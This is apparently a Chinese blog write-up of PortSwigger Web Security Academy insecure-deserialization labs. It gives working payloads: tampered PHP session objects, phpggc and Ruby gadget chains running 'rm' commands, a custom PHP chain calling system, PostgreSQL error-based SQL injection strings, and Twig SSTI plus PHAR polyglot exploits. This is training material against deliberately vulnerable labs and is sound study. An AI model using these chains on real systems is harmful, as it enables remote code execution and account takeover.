• Portswigger web security academy:Insecure deserialization


    Insecure deserialization

    Modifying serialized objects

    • 题目描述

      • 此lab使用了 基于序列化的session机制
      • 可以借此进行权限提升
    • 要求

      • 获取管理员权限
      • 删除carlos的账号
    • 解题过程

      • 登录后抓包发现session使用的base64编码(本身进行了两次url编码)

        GET /my-account HTTP/1.1
        Host: aca21f331f8595648000177b00a00042.web-security-academy.net
        Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%253d
        
        
      • 解码后O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} ,是一个PHP的序列化对象,可以看到有变量admin=0,修改为admin=1,因为变量长度没有变化,所以不需要修改其他内容

        • O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
      • 按照base64+两次url编码的顺序编码

        • Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%253d
      • 替换session(可以直接修改浏览器里的session,或者用burp一步一步改),删除账号

    Modifying serialized data types

    • 题目描述

      • 此lab使用了 基于序列化的session机制
      • 可以借此绕过认证机制
    • 要求

      • 获取管理员权限
      • 删除carlos的账号
    • 解题过程

      • 抓包发现与之前相同的session

        O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"sei0fst5vbt6xlzi5its2z78mabx3eq4";}

        • 有两个属性username, access_token,猜测会进行username + access_token的组合校验
      • 修改username+access_token

        • O:4:"User":2:{s:8:"username";s:5:"admin";s:12:"access_token";i:0;}
        • 经过测试,username=administrator
      • O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

      • 登上去删除账号即可

    Using application functionality to exploit insecure deserialization

    • 题目描述

      • 此lab使用了 基于序列化的session机制
      • 某个特性会调用危险的方法
    • 要求

      • 删除morale.txt
    • 解题过程

      • 还是先看session

        O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rw7vjg7lnfh886kccokzx9mi2zgi1iwl";s:11:"avatar_link";s:19:"users/wiener/avatar";}

      • 存在头像路径avatar_link属性,而且有delete account功能,猜测删除账号时会删除头像

      • 修改session

        O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rw7vjg7lnfh886kccokzx9mi2zgi1iwl";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

    Arbitrary object injection in PHP

    • 题目描述

      • 此lab使用了 基于序列化的session机制 ,并且会反序列化任意对象
    • 要求

      • 删除/home/carlos/morale.txt
    • 解题过程

      • 查看session

        O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"a8foq3v2v7sa58oq0z7twrsv2pujfp7v";}

        • 这里卡住了,不知道有什么类/方法可以利用,去看了下hint,有备份文件,找了半天,在源码里找到

          <!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->

        • 直接访问/libs/CustomTemplate.php~,得到源码

          <?php
          
          class CustomTemplate {
              private $template_file_path;
              private $lock_file_path;
          
              public function __construct($template_file_path) {
                  $this->template_file_path = $template_file_path;
                  $this->lock_file_path = $template_file_path . ".lock";
              }
          
              private function isTemplateLocked() {
                  return file_exists($this->lock_file_path);
              }
          
              public function getTemplate() {
                  return file_get_contents($this->template_file_path);
              }
          
              public function saveTemplate($template) {
                  if (!isTemplateLocked()) {
                      if (file_put_contents($this->lock_file_path, "") === false) {
                          throw new Exception("Could not write to " . $this->lock_file_path);
                      }
                      if (file_put_contents($this->template_file_path, $template) === false) {
                          throw new Exception("Could not write to " . $this->template_file_path);
                      }
                  }
              }
          
              function __destruct() {
                  // Carlos thought this would be a good idea
                  if (file_exists($this->lock_file_path)) {
                      unlink($this->lock_file_path);
                  }
              }
          }
          
          ?>
          
      • 源码中也有提示,__destruct函数中有unlink(删除文件)函数,构造序列化对象

        • O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
        • 但是使用本地php(7.x)序列化出来的字符串与这个不一样
          • O:14:"CustomTemplate":2:{s:34:"CustomTemplatetemplate_file_path";s:23:"/home/carlos/morale.txt";s:30:"CustomTemplatelock_file_path";s:23:"/home/carlos/morale.txt";}
          • 如果有人知道原因,麻烦告知一下,谢谢。

    Exploiting Java deserialization with Apache Commons

    • 题目描述

      • 此lab使用了 基于序列化的session机制,并且使用了Apache Commons Collections
    • 要求

      • 借助ysoserial构造exp进行rce,并删除/home/carlos/morale.txt
    • 解题过程

      • 从题目描述中得知使用了Collections库,借助Collections生成exp

      • github:ysoserial

      • 用法:

        • 编译出jar包

        • java -jar ysoserial-master-[version]-all.jar [CLASS] '[CMD]'

        • 这里给出一个python调用的脚本(linux下用不到)

          import base64
          import subprocess
          
          
          def ysoserial(cmd, class_='CommonsCollections4'):
              popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-138dc36bd2-1.jar', class_, cmd],
                                       stdout=subprocess.PIPE)
              exp = base64.b64encode(popen.stdout.read())
              return exp
          

    Exploiting PHP deserialization with a pre-built gadget chain

    • 题目描述

      • 此lab使用了 基于序列化的session机制
      • 使用了一个常见的php框架
    • 要求

      • 借助phpggc构造序列化对象进行rce
      • 删除/home/carlos/morale.txt
    • 解题过程

      • 先看session

        {"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJrNjNycmYwZ2lsMjM1emduOGx3Y2duNzRoN2JpZngxaiI7fQ==","sig_hmac_sha1":"ec08154086a0925243d33236c778cf2144e71a2d"}

        token也是base64,解码: O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"k63rrf0gil235zgn8lwcgn74h7bifx1j";}

        • 可以看到seesion里有字段sig_hmac_sha1签名,那么我们不仅需要构造反序列化串,还要获取正确的签名
      • 下载phpggc (放在linux下使用)

        • 需要知道框架才能使用,但无法确定
        • 源码里仍然有提示,访问/cgi-bin/phpinfo.php,但里面只有secret_key,没有框架标识信息
      • 先随便选一个payload试试

        • 用github里示例payload ./phpggc Symfony/RCE1 'rm /home/carlos/morale.txt' | base64

        • Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2 NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdl QnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNo ZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255 XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoi cm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30K

        • 用secret_key,按照session格式签名

          用法:hash_hmac('sha1', $string , $key);

        • 组合

          {"token":"Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdlQnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30K","sig_hmac_sha1":"f46fa06209104200aff57cb6562c7e3487d0f8ea"}

        • 签名错了,而且还爆出了架构信息Internal Server Error: Symfony Version: 4.3.6 ,说明用的没有错

        • 签名错的原因:在linux下运行xxx | base64会自动换行。。。可以用参数 -w 0 来去掉换行

    Exploiting Ruby deserialization using a documented gadget chain

    • 题目描述

      • 此lab使用了 基于序列化的session机制和Ruby on Rails框架(存在RCE利用链)
    • 要求

      • 删除rm /home/carlos/morale.txt
    • 解题过程

      • 对Ruby on Rails不熟悉,搜出来几种RCE,瞅了下solution,提示去看Ruby 2.x Universal RCE Gadget Chain

        • 里面有ruby脚本,修改payload,然后放到在线网站跑一下

          #!/usr/bin/env ruby
          
          class Gem::StubSpecification
            def initialize; end
          end
          
          
          stub_specification = Gem::StubSpecification.new
          stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt")  #命令在这里
          
          puts "STEP n"
          stub_specification.name rescue nil
          puts
          
          
          class Gem::Source::SpecificFile
            def initialize; end
          end
          
          specific_file = Gem::Source::SpecificFile.new
          specific_file.instance_variable_set(:@spec, stub_specification)
          
          other_specific_file = Gem::Source::SpecificFile.new
          
          puts "STEP n-1"
          specific_file <=> other_specific_file rescue nil
          puts
          
          
          $dependency_list= Gem::DependencyList.new
          $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
          
          puts "STEP n-2"
          $dependency_list.each{} rescue nil
          puts
          
          
          class Gem::Requirement
            def marshal_dump
              [$dependency_list]
            end
          end
          
          payload = Marshal.dump(Gem::Requirement.new)
          
          puts "STEP n-3"
          Marshal.load(payload) rescue nil
          puts
          
          
          puts "VALIDATION (in fresh ruby process):"
          IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
            pipe.print payload
            pipe.close_write
            puts pipe.gets
            puts
          end
          
          puts "Payload (hex):"
          puts payload.unpack('H*')[0]
          puts
          
          
          require "base64"
          puts "Payload (Base64 encoded):"
          puts Base64.encode64(payload)
          
      • 用payload替换cookie(还是存在换行问题,删掉即可)

    Developing a custom gadget chain for Java deserialization

    该来的expert总会来的,一来还是仨

    • 题目描述

      • 此lab使用了 基于序列化的session机制
    • 要求

      • 构造反序列化利用链,获取管理员密码,并删除carlos的账号
    • 解题过程

      • 前段时间学了java sec code,里面有反序列化的内容,大概了解一些,先努力看看

        • 题目要求也算是个提示,获取密码,很可能是任意文件读取
      • 在源码中发现 <!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->

        • 里面有如下代码

          package data.session.token;
          
          import java.io.Serializable;
          
          public class AccessTokenUser implements Serializable
          {
              private final String username;
              private final String accessToken;
          
              public AccessTokenUser(String username, String accessToken)
              {
                  this.username = username;
                  this.accessToken = accessToken;
              }
          
              public String getUsername()
              {
                  return username;
              }
          
              public String getAccessToken()
              {
                  return accessToken;
              }
          }
          

          看了下并没有什么用?

        • 去看了下/backup目录,发现还有一个 ProductTemplate.java

          package data.productcatalog;
          
          import common.db.ConnectionBuilder;
          
          import java.io.IOException;
          import java.io.ObjectInputStream;
          import java.io.Serializable;
          import java.sql.Connection;
          import java.sql.ResultSet;
          import java.sql.SQLException;
          import java.sql.Statement;
          
          public class ProductTemplate implements Serializable
          {
              static final long serialVersionUID = 1L;
          
              private final String id;
              private transient Product product;
          
              public ProductTemplate(String id)
              {
                  this.id = id;
              }
          
              private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
              {
                  inputStream.defaultReadObject();
          
                  ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
                          "org.postgresql.Driver",
                          "postgresql",
                          "localhost",
                          5432,
                          "postgres",
                          "postgres",
                          "password"
                  ).withAutoCommit();
                  try
                  {
                      Connection connect = connectionBuilder.connect(30);
                      String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
                      Statement statement = connect.createStatement();
                      ResultSet resultSet = statement.executeQuery(sql);
                      if (!resultSet.next())
                      {
                          return;
                      }
                      product = Product.from(resultSet);
                  }
                  catch (SQLException e)
                  {
                      throw new IOException(e);
                  }
              }
          
              public String getId()
              {
                  return id;
              }
          
              public Product getProduct()
              {
                  return product;
              }
          }
          
        • 注意看41 ,42行,直接进行参数拼接,而且没有进行预编译,也就是说可以借助这个点进行SQL注入

        • 但是这个注入点是在readObject之后,也就是说我们需要构造能触发这个函数的反序列化利用链

      • 尝试构造反序列化利用链

        • readObject方法在AccessTokenUser里应该也有的(反序列化session)

        • 所以需要构造有特定id的ProductTemplate类,然后序列化,用session传入进行sql注入

        • 但是java代码写起来有点困难,这里借助了官方的solution on github 需要注意的是,要构建与package data.productcatalog;相同的目录结构,以及空的Product类(避免报错)

          • 这里有个问题,为什么报错提示不能在不同类之间转换,但仍然执行了sql查询
        • 再之后的sql注入,需要注意几点postgresql的特性

          • 注释符是--

          • 仍然可以使用order by

          • 使用union时,要求对应列的类型相同

          • 报错注入用法 cast(needed_data as numeric) needed_data为字符串时,会报错

          • 当sql查询成功时会报Internal Server Error

          • 爆表名

            ' union select null,null,null,CAST((SELECT schemaname FROM pg_tables limit 1 offset 3)::text AS NUMERIC),null,null,null,null --

          • 查数据

            ' union select null,null,null,CAST(password AS NUMERIC),null,null,null,null from users --

    Developing a custom gadget chain for PHP deserialization

    • 题目描述

      • 此lab使用了 基于序列化的session机制
    • 要求

      • 构造反序列化利用链进行RCE
      • rm /home/carlos/morale.txt
    • 解题过程

      • 还是一样,源码里给了目录/cgi-bin/libs/CustomTemplate.php

        • 访问/cgi-bin/libs/CustomTemplate.php~

        • 注释是简单的分析

          <?php
          
          class CustomTemplate {
              private $default_desc_type;
              private $desc;
              public $product;
          
              public function __construct($desc_type='HTML_DESC') {
                  $this->desc = new Description();  
                  // $this->desc 设置为 DefaultMap类,且声明时:使callback == eval  
                  $this->default_desc_type = $desc_type;  
                  // $this->default_desc_type 设置为 "system('rm /home/carlos/morale.txt')"
                  $this->build_product();
              }
          
              public function __sleep() {  // 在序列化之前执行,无关
                  return ["default_desc_type", "desc"];
              }
          
              public function __wakeup() {  // 在反序列化之后立即被调用,需要通过build_product()进行rce
                  $this->build_product();
              }
          
              private function build_product() {
                  $this->product = new Product($this->default_desc_type, $this->desc);  
                  // 参照 Product->__construct: ($this->desc)->($this->default_desc_type)
          		// 实际调用的是 DefaultMap->未声明变量"system('rm /home/carlos/morale.txt')"   
                  // 进而触发 __get()
              }
          }
          
          class Product {
              public $desc;
          
              public function __construct($default_desc_type, $desc) {
                  $this->desc = $desc->$default_desc_type;
              }
          }
          
          class Description {  // 没啥用
              public $HTML_DESC;
              public $TEXT_DESC;
          
              public function __construct() {
                  // @Carlos, what were you thinking with these descriptions? Please refactor!
                  $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
                  $this->TEXT_DESC = 'This product is cool in text';
              }
          }
          
          class DefaultMap {
              private $callback;
          
              public function __construct($callback) {
                  $this->callback = $callback;
              }
          
              public function __get($name) {  // 读取不可访问属性的值时执行
                  return call_user_func($this->callback, $name);  
                  // 最终调用eval system('rm /home/carlos/morale.txt')
              }
          }
          
          ?>
          
      • 但在之后的测试中,发现call_user_func()函数的特性:

        可以使用任何内置或用户自定义函数,但除了语言结构例如:array()echoempty()eval()exit()isset()list()printunset()

        • 一开始测试了assert,但是报错了,因为在PHP7之后,assert不能执行动态参数

        • 然后突然想到!我既然要用system,为啥不把$callback直接设置成system呢!!!(脏话)

      • 最终的exp

        <?php
        
        class CustomTemplate {
            private $default_desc_type;
            private $desc;
            public $product;
        
            public function __construct() {
                $this->desc = new DefaultMap("system");  
                // $this->desc 设置为 callback == system 的 DefaultMap类  
                $this->default_desc_type = "rm /home/carlos/morale.txt";  
                // $this->default_desc_type 设置为 "rm /home/carlos/morale.txt"
                $this->build_product();
            }
        
            private function build_product() {
                $this->product = new Product($this->default_desc_type, $this->desc);  
                // 
                // 参照 Product->__construct: ($this->desc)->($this->default_desc_type)
        		// 实际调用的是 DefaultMap->"rm /home/carlos/morale.txt"(不存在该变量)   
                // 进而触发 __get()
            }
        }
        
        class Product {
            public $desc;
        
            public function __construct($default_desc_type, $desc) {
                $this->desc = $desc->$default_desc_type;
            }
        }
        
        class DefaultMap {
            private $callback;
        
            public function __construct($callback) {
                $this->callback = $callback;
            }
        
            public function __get($name) {  // 读取不可访问属性的值时执行
                return call_user_func($this->callback, $name);  
                // 最终调用system('rm /home/carlos/morale.txt')
            }
        }
        
        $obj = new CustomTemplate();
        echo base64_encode(serialize($obj));
        
        ?>
        

    Using PHAR deserialization to deploy a custom gadget chain

    • 题目描述

      • 此lab不需要显式地使用反序列化,然而,如果你把PHAR反序列化和其他高级的hacking技术组合起来,你仍然可以RCE
    • 要求

      • rm /home/carlos/morale.txt
    • 解题过程

      phar反序列化之前做过相关的题,可以通过上传phar文件,并调用内部方法进行RCE

      • 登录之后发现可以上传头像,发现备份文件并不存在,挨着访问目录,发现/cgi-bin/可以访问,找到俩备份文件

        • CustomTemplate.php看起来能用得到(有unlink

          <?php
          
          class CustomTemplate {
              private $template_file_path;
          
              public function __construct($template_file_path) {
                  $this->template_file_path = $template_file_path;
              }
          
              private function isTemplateLocked() {
                  return file_exists($this->lockFilePath());
              }
          
              public function getTemplate() {
                  return file_get_contents($this->template_file_path);
              }
          
              public function saveTemplate($template) {
                  if (!isTemplateLocked()) {
                      if (file_put_contents($this->lockFilePath(), "") === false) {
                          throw new Exception("Could not write to " . $this->lockFilePath());
                      }
                      if (file_put_contents($this->template_file_path, $template) === false) {
                          throw new Exception("Could not write to " . $this->template_file_path);
                      }
                  }
              }
          
              function __destruct() {
                  // Carlos thought this would be a good idea
                  @unlink($this->lockFilePath());
              }
          
              private function lockFilePath()
              {
                  return 'templates/' . $this->template_file_path . '.lock';
              }
          }
          
          ?>
          
          • 虽然有unlink,但是unlink获取路径调用的是lockFilePath()函数,最后会加.lock后缀,且php7不支持00截断,所以单一个CustomTemplate不能完成
        • saveTemplate函数可以写文件(可不可以写shell呢)

      • Blog.php

        <?php
        
        require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
        
        class Blog {
            public $user;
            public $desc;
            private $twig;
        
            public function __construct($user, $desc) {
                $this->user = $user;
                $this->desc = $desc;
            }
        
            public function __toString() {
                return $this->twig->render('index', ['user' => $this->user]);
            }
        
            public function __wakeup() {
                $loader = new Twig_Loader_Array([
                    'index' => $this->desc,
                ]);
                $this->twig = new Twig_Environment($loader);
            }
        
            public function __sleep() {
                return ["user", "desc"];
            }
        }
        
        ?>
        
        • Blog类里可以看到有熟悉的render模板渲染函数,去查了下twig的ssti
          • {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
      • 理一下思路

        • 利用blogtwig的ssti --> 构造可以ssti的序列化blog对象

          class Blog {}
          $o = new Blog();
          $o->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
          
        • 利用头像上传功能传上去

        • 再用查看头像的接口,借助phar://协议完成序列化

        • ---------------------------------------------

        • 然后文件上传卡住了,像是二次渲染

        • 用solution里提到的工具phar-jpg-polyglot 进行phar->jpg的生成

        • 但访问/cgi-bin/avatar.php?avatar=phar://wiener的时候返回了404 而且没有提示solved

          • 看一下最后的反序列化串,没什么问题

            O:4:"Blog":2:{s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";s:4:"user";s:5:"r3col";}}

          • phar包也不会有问题(用的经过验证的工具)

          • 那就是phar的触发条件没达成,看了一下,phar包反序列化需要用到以下函数

            include include_once require require_once
            fileatime filectime file_exists file_get_contents
            file_put_contents file filegroup fopen
            fileinode filemtime fileowner fileperms
            is_dir is_executable is_file is_link
            is_readable is_writable is_writeable parse_ini_file
            copy unlink stat readfile

            加粗的四个是源码中出现的,但是这并不能直接调用

          • 看一个phar反序列化的例子

            <?php
            $filename=@$_GET['filename'];
            echo 'please input a filename'.'<br />';
            class AnyClass{
                var $output = 'echo "ok";';
                function __destruct()
                {   
                    eval($this -> output);
                }
            }
                if(file_exists($filename)){
                    $a = new AnyClass();
                }
                else{
                    echo 'file is not exists';
                }
            ?>
            POC
            <?php
            class AnyClass{
                var $output = '';
            }
            $phar = new Phar('phar.phar');
            $phar -> stopBuffering();
            $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
            $phar -> addFromString('test.txt','test');
            $object = new AnyClass();
            $object -> output= 'phpinfo();';
            $phar -> setMetadata($object);
            $phar -> stopBuffering();
            ?>
            访问 ?filename=phar://phar.gif/test (通过访问phar包内的内容可以触发反序列化)
            可以看到这里是file_exists直接读入了 phar://xxxxx
            
          • 但在这个题目中我们是通过avatar.php的头像读取接口进行phar://xxx包含的,也就是说要触发phar://xxx反序列化,需要在avatar.php中对?avatar=phar://wiener使用上述24个函数中的其中一个。

          • 这也就是为什么我觉得题目的solution奇怪。

            • 如果avatar.php不能触发phar反序列化,那么solution给的 利用CustomTemplate进行触发phar反序列化就不可能执行,因为这种情况下,需要先在avatar.php触发反序列化(实例化CustomTemplate类)才能进入下一步
            • 如果avatar.php可以触发phar反序列化,
          • 在怀疑的过程中,发现自己在分析利用链的时候忘了render()函数!也就解释了为什么需要用CustomTemplate:用'templates/' . $this->template_file_path . '.lock'触发Blog->__toString()

          • 所以利用链应该是

            Blog->wakeup() //把ssti的exp放在index里
            Customplate->__destruct()  // Customplate类调用析构函数,触发lockFilePath()方法
            Customplate->lockFilePath()  
            // 在lockFilePath()方法中,存在'templates/' . $this->template_file_path . '.lock'字符串连接
            // 这会期望$this->template_file_path(Blog类)返回字符串,进而触发__toString()方法
            Blog->__toString()  // 调用render 执行ssti exp
            
          • 按照上面的利用链重新构造,成功solved

          • 但是solution里的file_exists函数还是没用到(可能是用来提示的?)

      • 本地测一下利用链

  • 相关阅读:
    单用户模式启动SQL Server实例总结
    MySQL下perror工具查看System Error Code信息
    ERROR 1050 (42S01): Table xxx already exists
    RMAN-06172 Troubleshooting
    [翻译]LVM中逻辑卷的最大大小限制
    如何定位那些SQL产生了大量的redo日志
    MySQL的自动提交模式
    MySQL服务读取参数文件my.cnf的规律研究探索
    SQL Server等待事件—RESOURCE_SEMAPHORE_QUERY_COMPILE
    Azure SQL Virtual Machine报Login failed for user 'NT ServiceSqlIaaSExtension'. Reason: Could not find a login matching the name provided
  • 原文地址:https://www.cnblogs.com/R3col/p/14510899.html
Copyright © 2020-2023  润新知